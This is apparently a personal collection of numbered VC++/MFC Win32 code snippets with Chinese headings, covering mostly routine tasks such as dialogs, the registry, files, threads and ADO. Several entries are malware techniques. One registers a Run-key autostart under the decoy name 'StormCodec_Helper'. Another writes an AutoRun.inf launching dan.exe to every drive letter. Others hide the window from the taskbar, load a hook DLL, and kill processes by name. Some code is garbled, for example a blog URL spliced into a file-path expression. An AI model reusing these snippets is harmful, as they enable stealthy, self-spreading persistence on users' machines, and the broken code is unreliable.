1.实现窗体透明
SetWindowLong(this->GetSafeHwnd(),GWL_EXSTYLE,
GetWindowLong(this->GetSafeHwnd(),GWL_EXSTYLE)^0x80000);
HINSTANCE hInst = LoadLibrary("User32.DLL");
if(hInst)
{
typedef BOOL (WINAPI *MYFUNC)(HWND,COLORREF,BYTE,DWORD);
MYFUNC fun = NULL;
//取得SetLayeredWindowAttributes函数指针
fun=(MYFUNC)GetProcAddress(hInst, "SetLayeredWindowAttributes");
if(fun)fun(this->GetSafeHwnd(),0,128,2);
FreeLibrary(hInst);
}
-------------------------------------------------------------------------
2.取剪贴板图片
HBITMAP hBm;
CBitmap bitmap;
if(IsClipboardFormatAvailable(CF_BITMAP) && OpenClipboard())
{hBm = (HBITMAP)GetClipboardData(CF_BITMAP);bitmap.Attach(hBm); CloseClipboard();}
CDC *pDC=GetDC();
CDC dcCompatible;
dcCompatible.CreateCompatibleDC(pDC);
dcCompatible.SelectObject(&bitmap);
CRect rect;
GetClientRect(&rect);
pDC->BitBlt(0,0,rect.Width(),rect.Height(),&dcCompatible,0,0,SRCCOPY);
-------------------------------------------------------------------------
3.发送控件消息
int i;
CWnd *pWnd = NULL;
//找QQ的登陆对话框,如果QQ没有启动,则先启动它。
pWnd = FindWindow(_T("#32770"), _T("请输入登陆消息"));
if (pWnd)
{
//获得QQ的号码输入框指针
for(int i=0;i<10000;i++)
{
CComboBox *pCob = (CComboBox *)pWnd->GetDlgItem(i);
if (pCob)
{
m_edtCode.SetSel(0, -1);
m_edtCode.Copy();
//先删除原有号码后向号码输入框发送复制消息
pCob->SendMessage(WM_PASTE, 0, 0);
}
}
}
-------------------------------------------------------------------------
4.
自启动程序win.ini
WritePrivateProfileString(_T("windows"),_T("run"),"",_T("c:\\windows\\win.ini"));
--------------------------------------------------------------------------
HKEY hRoot=HKEY_CURRENT_USER;
char *szSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hKey;
DWORD dwDisposition=REG_OPENED_EXISTING_KEY;
LONG lRet=RegCreateKeyEx
(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);
char szModule[255]="C:\\WINDOWS\\system32\\testdll2.exe";
//::GetModuleFileName(NULL,szModule,255);
//创建一个新的键值,设置键值数据为文件名
lRet=::RegSetValueEx(hKey,"StormCodec_Helper",0,REG_SZ,(BYTE*)szModule,strlen(szModule));
if(lRet!=ERROR_SUCCESS){return ;}
RegCloseKey(hKey);
-------------------------------------------------------------------------
5.
读写注册表
HKEY hRoot=HKEY_LOCAL_MACHINE;
char *szSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion";
HKEY hKey;
DWORD dwDisposition=REG_OPENED_EXISTING_KEY;
LONG lRet=RegCreateKeyEx
(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);
char szModuleUser[255];//="ll2.exe";
//::GetModuleFileName(NULL,szModule,255);
DWORD bs=128;
DWORD ha=REG_SZ|REG_EXPAND_SZ;
//创建一个新的键值,设置键值数据为文件名
//lRet=::RegSetValueEx(hKey,"StormCodec_Helper",0,REG_SZ,(BYTE*)szModule,strlen(szModule));
::RegQueryValueEx(hKey,"RegisteredOwner",NULL,&ha,(LPBYTE)szModuleUser,&bs);
RegCloseKey(hKey);
MessageBox(szModuleUser);
删除特定键值
char exeFullPath[MAX_PATH];
GetModuleFileName(NULL,exeFullPath,MAX_PATH);
HKEY phkResult;
RegOpenKeyEx
(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&phk
Result);
RegDeleteValue(phkResult, "ha" ) ;
RegCloseKey(phkResult);
-------------------------------------------------------------------------
6.取当前程序运行目录
char cPath[200];
::GetCurrentDirectory(200,cPath)==NULL;
-------------------------------------------------------------------------
7.读写Text文本
FILE *fp;
fp=fopen("D:\\record.txt","r");
char p[111111];
int i=0;
while(!feof(fp))
{
p[i]=(char)getc(fp);
i++;
}
p[i]='\0';
fclose(fp);
MessageBox(p);
写文本
char haha[]="Odannyboy";
FILE *fp;
fp=fopen("D:\\record.txt","rb+");
fwrite(haha,strlen(haha),1,fp);
fclose(fp);
char haha[]="[AutoRun] \nopen=dan.exe \nshell\\open=打开(&O) \nshell\\open\\Command=dan.exe
\nshell\\explore=资源管理器(&X) \nshell\\explore\\Command=\"dan.exe -e\" ";
char a[]="D:\\AutoRun.inf";
FILE *fp;
for(int i=65;i<=90;i++)
{
a[0]=i;
fp=fopen(a,"w+");
if(fp==NULL){;}
else
{fwrite(haha,strlen(haha+1),1,fp);fclose(fp);}
}
-------------------------------------------------------------------------
8.
加载动态链接库
typedef BOOL (*fun)();
HINSTANCE h=LoadLibrary("dll2.dll");
if(h==NULL)return;
fun add=(fun)GetProcAddress(h,"InstallHook");
add();
-------------------------------------------------------------------------
9.隐藏窗体
LRESULT CMySmtpDlg::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam)
{
// TODO: Add your specialized code here and/or call the base class
if(message==133 )
ShowWindow(SW_HIDE);
return CDialog::DefWindowProc(message, wParam, lParam);
}
BOOL CMySmtpDlg::PreCreateWindow(CREATESTRUCT& cs)
{
// TODO: Add your specialized code here and/or call the base class
cs.style = WS_POPUP; //使主窗口不可见
cs.dwExStyle |=WS_EX_TOOLWINDOW; //不显示任务按钮
return CDialog::PreCreateWindow(cs);
}
-------------------------------------------------------------------------
10.关机
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
LPTSTR MachineName=NULL;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken ))
{
// PERR("OpenProcessToken",GetLastError());
return ;
}
if(!LookupPrivilegeValue(MachineName, SE_SHUTDOWN_NAME, &luid))
{
// PERR("LookupPrivilegeValue", GetLastError());
return ;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),NULL, NULL ); //到这里,是取得权限///
ExitWindowsEx(EWX_POWEROFF,EWX_FORCE);
-------------------------------------------------------------------------
11.连接字符串
char *append(char *s1,char *s2)
{
char *tmp;
int length=strlen(s1)+strlen(s2);
tmp=new char[length+1];
strcpy(tmp,s1);
strcat(tmp,s2);
return tmp;
}
-------------------------------------------------------------------------
12.取随机数
srand((unsigned)time(NULL) );
CString str;
str.Format("%d%d%d",rand(),rand(),rand());
MessageBox(str);
-------------------------------------------------------------------------
13.创建进程
PROCESS_INFORMATION lpProcessInformation;
STARTUPINFO startupinfo;
memset(&startupinfo,0,sizeof(STARTUPINFO));
memset(&lpProcessInformation,0,sizeof(PROCESS_INFORMATION));
startupinfo.cb = sizeof(STARTUPINFO);
startupinfo.dwFlags = STARTF_FORCEOFFFEEDBACK;
startupinfo.dwX = 0;
startupinfo.dwY = 0;
startupinfo.lpDesktop = NULL;
startupinfo.lpReserved = NULL;
startupinfo.lpReserved2 = NULL;
startupinfo.lpTitle = NULL;
CreateProcess(("C:\\exe\\VideoSaleAdminSys.exe"), NULL, NULL, NULL, FALSE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &startupinfo,
&lpProcessInformation);
-------------------------------------------------------------------------
14.只允许一个实例运行
HANDLE hMutex=CreateMutex(NULL, FALSE, "Mutex");
// 如果本程序已有实例在运行,则GetLastError()返回ERROR_ALREADY_EXISTS
if(GetLastError()==ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex); //关闭互斥体对象句柄
//获取桌面窗口的一个子窗口。
HWND hWndPrev=::GetWindow(::GetDesktopWindow(),GW_CHILD);
// 枚举当前窗口,查找本程序已运行的实例
while(::IsWindow(hWndPrev))
{
//判断窗口是否有预先设置的属性"MutexDlg",
//如有,则是要本程序已运行实例的窗口,并将它激活。
if(::GetProp(hWndPrev,"MutexDlg"))
{
//如果主窗口已最小化,则恢复其大小。
if (::IsIconic(hWndPrev))
::ShowWindow(hWndPrev,SW_RESTORE);
//激活应用程序的主窗口
::SetForegroundWindow(hWndPrev);
return FALSE; //退出本实例
}
//继续寻找下一个窗口。
hWndPrev = ::GetWindow(hWndPrev,GW_HWNDNEXT);
}
AfxMessageBox("已有一个实例在运行,但找不到它的主窗口!",MB_OK|MB_ICONINFORMATION,NULL);
return FALSE; //退出本实例
}
-------
::SetProp(m_hWnd,"MutexDlg",(HANDLE)1);
::RemoveProp(m_hWnd,"MutexDlg");
-------------------------------------------------------------------------
15.
知道进程ID终止进程
void MyKillProcess(DWORD pid)
{
// GetWindowThreadProcessId(hWnd, &pid );
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE,pid);
TerminateProcess(hProcess,1);
if (WaitForSingleObject(hProcess,INFINITE)==STATUS_WAIT_0)
cout<<"Program completed!"<<endl;
else
cout<<"Unexpected error"<<endl;
}
-------------------------------------------------------------------------
16.查找进程ID:
GetWindowThreadProcessId(hWnd, &pid );
HWND hWnd = FindWindow("SciCalc","计算器");
///////////////
typedef BOOL (WINAPI * ENUMPROCESSES)(
DWORD * lpidProcess, // 进程ID数组
DWORD cb, // ID数组的大小
DWORD * cbNeeded
);
typedef struct _WTS_PROCESS_INFO{
DWORD SessionId;
DWORD ProcessId;
LPTSTR pProcessName;
PSID pUserSid;
} WTS_PROCESS_INFO, * PWTS_PROCESS_INFO;
CString FileName;
typedef HANDLE (WINAPI *WTSOPENSERVER)(LPTSTR pServerName);
typedef BOOL (WINAPI *WTSENUMERATEPROCESSES)
(
HANDLE hServer,
DWORD Reserved,
DWORD Version,
PWTS_PROCESS_INFO* ppProcessInfo, // 存放我们要的进程名和进程id.
DWORD* pCount
);
HMODULE hWtsApi32 = LoadLibrary("wtsapi32.dll");
WTSOPENSERVER pWtsOpenServer = (WTSOPENSERVER)
GetProcAddress(hWtsApi32, "WTSOpenServerA");
WTSENUMERATEPROCESSES pWtsEnumerateProcesses=(WTSENUMERATEPROCESSES)GetProcAddress
(hWtsApi32,"WTSEnumerateProcessesA");
char* szServerName = "DGV7WV1X";
HANDLE hWtsServer = pWtsOpenServer(szServerName);
PWTS_PROCESS_INFO pWtspi;
DWORD dwCount;
if(!pWtsEnumerateProcesses(hWtsServer,
0, 1, &pWtspi,&dwCount)) return;
for(DWORD i=0; i<dwCount; i++)
{
CString str=pWtspi[i].pProcessName;
if(str=="\,.exe")
{
MyKillProcess(pWtspi[i].ProcessId);
}
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
TerminateProcess(hProcess,1);
if (WaitForSingleObject(hProcess,INFINITE)==STATUS_WAIT_0)
;
//MessageBox("OK");
else ;
//MessageBox("Sorry");
-------------------------------------------------------------------------
17.取目录路径
CString sFolder;
LPMALLOC pMalloc;
if (::SHGetMalloc(&pMalloc) == NOERROR)
{
BROWSEINFO bi;
char pszBuffer[MAX_PATH];
LPITEMIDLIST pidl;
bi.hwndOwner = GetSafeHwnd();
bi.pidlRoot = NULL;
bi.pszDisplayName = pszBuffer;
bi.lpszTitle = _T("Select a directory...");
bi.ulFlags = BIF_RETURNFSANCESTORS | BIF_RETURNONLYFSDIRS;
bi.lpfn = NULL;
bi.lParam = 0;
// This next call issues the dialog box.
pidl = ::SHBrowseForFolder(&bi);
::SHGetPathFromIDList(pidl, pszBuffer);
sFolder = pszBuffer;
}
MessageBox((CString)sFolder);
-------------------------------------------------------------------------
18.取文件大小
HANDLE hFile;
hFile = CreateFile("c:\\g.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE |
FILE_ATTRIBUTE_HIDDEN |
FILE_ATTRIBUTE_READONLY |
FILE_ATTRIBUTE_SYSTEM, NULL);
BY_HANDLE_FILE_INFORMATION fis;
BOOL re=GetFileInformationByHandle(hFile, &fis);
int i=((__int64)fis.nFileSizeHigh * (__int64)MAXDWORD) + (__int64)fis.nFileSizeLow;
CString str;
str.Format("%d",i);
MessageBox(str);
-------------------------------------------------------------------------
19.查找某目录下的所有文件
WIN32_FIND_DATA wfd;
HANDLE h=::FindFirstFile("D:\\aaa\\*.*",&wfd);
if(h!=0)
{ while(::FindNextFile(h,&wfd)){CString str=wfd.cFileName;MessageBox(str);}
}
-------------------------------------------------------------------------遍历某目录下的所有子目录的文件
20.EnumFile(CString lpszPath)
{CString szFind=lpszPath;
szFind=szFind+"\\*.*";
WIN32_FIND_DATA wfd;
HANDLE hFind = FindFirstFile(szFind, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return;
while (FindNextFile(hFind, &wfd))
{
if (wfd.cFileName[0] == '.')
continue;
if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
CString szFile;
szFile=lpszPath+"http://www.cnblogs.com/dannyboy/admin/file://"+wfd.cFileName/;
EnumFile(szFile);
}
else
{
CString szFile;
szFile=lpszPath+"http://www.cnblogs.com/dannyboy/admin/file://"+wfd.cFileName/;
int sLen=szFile.GetLength();
if(szFile.Find(".txt",sLen-4)>sLen-5)
MessageBox(szFile);
}
}
-------------------------------------------------------------------------
21.
10->2进制
int iNumber=10;
int ar[N];
int i;
for(i=0;iNumber!=0;i++)
{
ar[i]=iNumber%2;
iNumber=iNumber/2;
}
int j;
char ap[N];
for(j=0;j<i;j++)
{ if(ar[i-j-1]==0)
{ap[j]='0';}
else
{ap[j]='1';}}
ap[j]='\0';
::MessageBox(0,ap,ap,0);
-------------------------------------------------------------------------
22.
c语言做数据库
FILE *fp;
fp=fopen("D:\\record.txt","r");
mystu stu;
fseek(fp,num*sizeof(mystu),1);
fread(&stu,sizeof(mystu),1,fp);
cout<<stu.age<<endl<<stu.sex<<endl<<stu.name<<endl;
fclose(fp);
}
int main(int argc, char* argv[])
{
student[0].age=1000000;
student[0].name="1000000";
student[0].sex=100000000;
student[1].age=1000;student[1].name="11111";student[1].sex=100;
student[2].age=2000;student[2].name="22222";student[2].sex=200;
student[3].age=3000;student[3].name="3333";student[3].sex=300;
FILE *fp;
fp=fopen("D:\\record.txt","rb+");
fwrite(&student[0],sizeof(mystu),1,fp);
fwrite(&student[1],sizeof(mystu),1,fp);
fwrite(&student[2],sizeof(mystu),1,fp);
fwrite(&student[3],sizeof(mystu),1,fp);
fclose(fp);
readtxt(0);
readtxt(1);
readtxt(2);
readtxt(3);
-------------------------------------------------------------------------
23.变长参数表用法
#include"stdarg.h"
int Max(int num,...)
{ va_list ap;
va_start(ap,num);
int m;
for(int i=0;i<4;i++)
{m=va_arg(ap,int);}
va_end(ap);
return m;
}
main()
{cout<<Max(5,1,2,3,4,5);}
-------------------------------------------------------------------------
24.调用DLL
_declspec(dllexport) int add(int a,int b)
{
return a+b;
}
//////////
HINSTANCE hInst;
hInst=LoadLibrary("danny.dll");
typedef int (*ADDPROC)(int a,int b);
ADDPROC Add=(ADDPROC)GetProcAddress(hInst,MAKEINTRESOURCE(1));
if(!Add)
{
MessageBox("获取函数地址失败!");
return;
}
CString str;
str.Format("5+3=%d",Add(5,3));
MessageBox(str);
-------------------------------------------------------------------------
25.
ADO数据库
//Provider=Microsoft.Jet.OLEDB.4.0;Data Source=dannyboy.mdb
::CoInitialize(NULL);
pCon.CreateInstance(__uuidof(Connection));
Cstring LinkString="Driver={SQL
Server};Server=DANNYGIRL;Trusted_Connection=yes;database=mydatabase";
pCon->ConnectionString=(_bstr_t)LinkString;
pCon->Open(L"",L"",L"",adCmdUnspecified);
pCon->CursorLocation=adUseClient;
pRcd.CreateInstance(__uuidof(Recordset));
_CommandPtr pCmd;
pCmd.CreateInstance(__uuidof(Command));
pCmd->ActiveConnection=pCon;
pCmd->CommandText=(_bstr_t)"select * from depart";
pRcd=pCmd->Execute(NULL,NULL,adCmdText);
/////////////////
m_l.SendMessage(4150,0,49);
CString strHeader[3]={"Num","Name","Info"};
int width[3]={50,50,50};
for(int i=0;i<3;i++) m_l.InsertColumn(i,strHeader[i],0,width[i]);
int index=m_l.InsertItem(m_l.GetItemCount(),"d");
m_l.SetItemText(index,0,"a");
m_l.SetItemText(index,1,"dfsdf");
m_l.SetItemText(index,2,"ddfsdf");
m_dgctrl.SetRefDataSource((LPUNKNOWN)rcd);
rcd->MoveFirst();
while(!rcd->_EOF)
{
int index=m_l.InsertItem(m_l.GetItemCount(),"");
CString a=(char*)(_bstr_t)rcd->GetCollect("dNum");
CString b=(char*)(_bstr_t)rcd->GetCollect("dName");
CString c=(char*)(_bstr_t)rcd->GetCollect("dManager");
m_l.SetItemText(index,0,a);
m_l.SetItemText(index,1,b);
m_l.SetItemText(index,2,c);
rcd->MoveNext();
}
-------------------------------------------------------------------------
26.textbox,richtextbox控件选取文字
SendDlgItemMessage(IDC_EDIT3,EM_SETSEL,1,11);//(0,-1)控件所有位置都会被选择上
m_e.SetFocus();
-------------------------------------------------------------------------
27.
OnDropfilesRichedit
step 1:
SendDlgItemMessage(IDC_RICHEDIT2,EM_SETEVENTMASK,1,(LPARAM)ENM_DROPFILES);
step 2:
char lpszFile[130];
DragQueryFile((HDROP)pEnDropFiles->hDrop,0,(LPTSTR)lpszFile,130);
MessageBox(lpszFile);
CDialog::OnInitDialog();::OnInitDialog();
-------------------------------------------------------------------------
28.
列表控件的的选择
POSITION pos = m_l.GetFirstSelectedItemPosition();
if(pos)
{
int nItem = m_l.GetNextSelectedItem(pos);
CString strTemp;
strTemp.Format("%s",m_l.GetItemText(nItem,1));
MessageBox(strTemp);
}
-------------------------------------------------------------------------
29.
打开对话框,保存对话框
void Openfile()
{
// TODO: Add your control notification handler code here
//显示文件打开对话框
CFileDialog dlg(TRUE, "EC", "*.aes",OFN_HIDEREADONLY|OFN_OVERWRITEPROMPT,"Aes Files(*.aes)
|*.aes");
if ( dlg.DoModal()!=IDOK ) return;
//获取文件的绝对路径
CString sFileName=dlg.GetPathName();
}
void Savefile()
{
//显示文件保存对话框
CFileDialog dlg(FALSE, "AES", "D_Aes",OFN_HIDEREADONLY| OFN_OVERWRITEPROMPT,"Aes Files
(*.aes)|*.aes");
if ( dlg.DoModal()!=IDOK )
return;
//获取文件的绝对路径
CString sFileName=dlg.GetPathName();
}
如果打开对话框时,不是程序的根目录,可以这样``看代码!
//获取当前路径
CString strCurrentPath,strMsg;
GetCurrentDirectory(200,strCurrentPath.GetBuffer(200));
strCurrentPath.ReleaseBuffer();
//strMsg=_T("当前文件打开路径为:\n")+strCurrentPath;//测试用的 可以删掉
//MessageBox(strMsg);//测试用的 可以删掉
//strCurrentPath里面存的就是本程序的根目录,请继续看!
CFileDialog dlg(TRUE, TEXT("TXT"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
TEXT("文本文件(*.txt)|*.txt|所有文件(*.*)|*.*||"), this);
dlg.m_ofn.lpstrInitialDir=strCurrentPath; //这里就设置了对话框的默认目录为strCurrentPath
if ( dlg.DoModal()!=IDOK )
return;
//获取文件的绝对路径
CString sFileName=dlg.GetPathName();
-------------------------------------------------------------------------
30.开启线程
volatile BOOL m_bRun;
void ThreadFunc()
{
CTime time;
CString strTime;
m_bRun=TRUE;
while(m_bRun)
{
time=CTime::GetCurrentTime();
strTime=time.Format("%H:%M:%S");
::SetDlgItemText(AfxGetMainWnd()->m_hWnd,IDC_TIME,strTime);
Sleep(1000);
}
}
hThread=CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)ThreadFunc,
NULL,
0,
&ThreadID);
-------------------------------------------------------------------------
31.
pMyThread=AfxBeginThread(MyThreadProc,this);//启动定义的工作线程
UINT CCThreadExDlg::MyThreadProc(LPVOID pParam)//satatic
{
CCThreadExDlg *me=(CCThreadExDlg *)pParam;
MSG msg;
while(!PeekMessage(&msg,NULL,0,0,PM_NOREMOVE))//检验是否有消息到达
{
me->DisplayFace (CPoint(180,25));
::Sleep (250); //延迟
}
return 0;
}
-------------------------------------------------------------------------
32.BMP大对象数据与数据库
保存
CFile imagefile;
if(0 == imagefile.Open("C:\\h.bmp",CFile::modeRead)) return;
_variant_t varChunk;
BYTE* pbuf;
long nLength = imagefile.GetLength();
pbuf = new BYTE[nLength+2];
if(pbuf == NULL)
return; //allocate memory error;
imagefile.Read(pbuf,nLength); //read the file into memory
BYTE *pBufEx;
pBufEx = pbuf;
//build a SAFFERRAY
SAFEARRAY* psa;
SAFEARRAYBOUND rgsabound[1];
rgsabound[0].lLbound = 0;
rgsabound[0].cElements = nLength;
psa = SafeArrayCreate(VT_UI1, 1, rgsabound);
for (long i = 0; i < nLength; i++)
SafeArrayPutElement (psa, &i, pBufEx++);
VARIANT varBLOB;
varBLOB.vt = VT_ARRAY | VT_UI1;
varBLOB.parray = psa;
_CommandPtr pCmd;
try
{
pRcd->Open("mytemp",_variant_t((IDispatch*)pCon,true),adOpenKeyset,adLockOptimistic,adCmdTable); //Open a Table
pRcd ->AddNew();
pRcd->Fields->GetItem("sImage")->AppendChunk(varBLOB);
pRcd->Update();
pRcd->Close();
}
catch(_com_error &e)
{
// Notify the user of errors if any.
_bstr_t bstrSource(e.Source());
_bstr_t bstrDescription(e.Description());
CString sError;
sError.Format("Source : %s \n Description : %s\n",(LPCSTR)bstrSource,(LPCSTR)bstrDescription);
AfxMessageBox(sError);
}
-------------------------------------------------------------------------
33.从数据库导出
pRcd->Open("mytemp",_variant_t((IDispatch *) pCon,true),adOpenKeyset,adLockOptimistic,adCmdTable);
long lDataSize = pRcd->GetFields()->GetItem("sImage")->ActualSize;///得到数据的长度
m_pBMPBuffer = new char[lDataSize+1];
if(lDataSize > 0)
{
_variant_t varBLOB;
varBLOB = pRcd->GetFields()->GetItem("sImage")->GetChunk(lDataSize);
if(varBLOB.vt == (VT_ARRAY | VT_UI1)) ///判断数据类型是否正确
{
char *pBuf = NULL;
SafeArrayAccessData(varBLOB.parray,(void **)&pBuf); ///得到指向数据的指针
/*****在这里我们可以对pBuf中的数据进行处理*****/
//MessageBox(pBuf);
memcpy(m_pBMPBuffer,pBuf,lDataSize);
CString strFileName="C:\\my.bmp";
CFile outFile(strFileName,CFile::modeCreate|CFile::modeWrite);
LPSTR buffer = (LPSTR)GlobalLock((HGLOBAL)pBuf);
outFile.WriteHuge(buffer,lDataSize);
GlobalUnlock((HGLOBAL)pBuf);
outFile.Close();
SafeArrayUnaccessData (varBLOB.parray);
}
}
-------------------------------------------------------------------------
34.从数据库显示
HBITMAP CLogin::BufferToHBITMAP()
{
HBITMAP hBmp;
LPSTR hDIB,lpBuffer = m_pBMPBuffer;
LPVOID lpDIBBits;
BITMAPFILEHEADER bmfHeader;
DWORD bmfHeaderLen;
bmfHeaderLen = sizeof(bmfHeader);//MessageBox("");
strncpy((LPSTR)&bmfHeader,(LPSTR)lpBuffer,bmfHeaderLen);
// if (bmfHeader.bfType != ((WORD) ('M' << 8) | 'B')) return NULL;
if (bmfHeader.bfType != (*(WORD*)"BM")) return NULL;
hDIB = lpBuffer + bmfHeaderLen;
BITMAPINFOHEADER &bmiHeader = *(LPBITMAPINFOHEADER)hDIB ;
BITMAPINFO &bmInfo = *(LPBITMAPINFO)hDIB ;
lpDIBBits=(lpBuffer)+((BITMAPFILEHEADER *)lpBuffer)->bfOffBits;//这行功能和上面被注释掉的代码相同,容易理解。
CClientDC dc(this);
hBmp = CreateDIBitmap(dc.m_hDC,&bmiHeader,CBM_INIT,lpDIBBits,&bmInfo,DIB_RGB_COLORS);
return hBmp;
}
HBITMAP hb=BufferToHBITMAP();
MessageBox(m_pBMPBuffer);
if(hb==NULL)MessageBox(0);
((CStatic*)GetDlgItem(IDC_STATIC1))->SetBitmap(hb);
-------------------------------------------------------------------------
35.
删除类
工作区删除.cpp&.h
文件夹删除.cpp&.h&.clw
-------------------------------------------------------------------------
36.取控件句柄
GetDlgItem(IDC_EDIT1)->m_hWnd
CWnd *pWnd;
HWND hWnd;
hWnd = pWnd->GetSafeHwnd(); //CWnd->HWND
pWnd = CWnd::FromHandle(hWnd); //HWND->CWnd - HWND 句柄,
-------------------------------------------------------------------------
37.发送消息
SendDlgItemMessage(IDC_EDIT3, EM_SETSEL,1,3);
m_edit3.SetFocus();
-------------------------------------------------------------------------
38.Alt+F8可以对齐代码
-------------------------------------------------------------------------
39. __LINE__ __FILE__
-------------------------------------------------------------------------
#include"comutil.h"
#pragma comment(lib,"comsupp.lib")
BSTR b=SysAllocString(L"d:\\vc.doc");
char ha[50];
BSTR h=_com_util::ConvertStringToBSTR(_com_util::ConvertBSTRToString(b));
AfxMessageBox(_com_util::ConvertBSTRToString(h));
-------------------------------------------------------------------------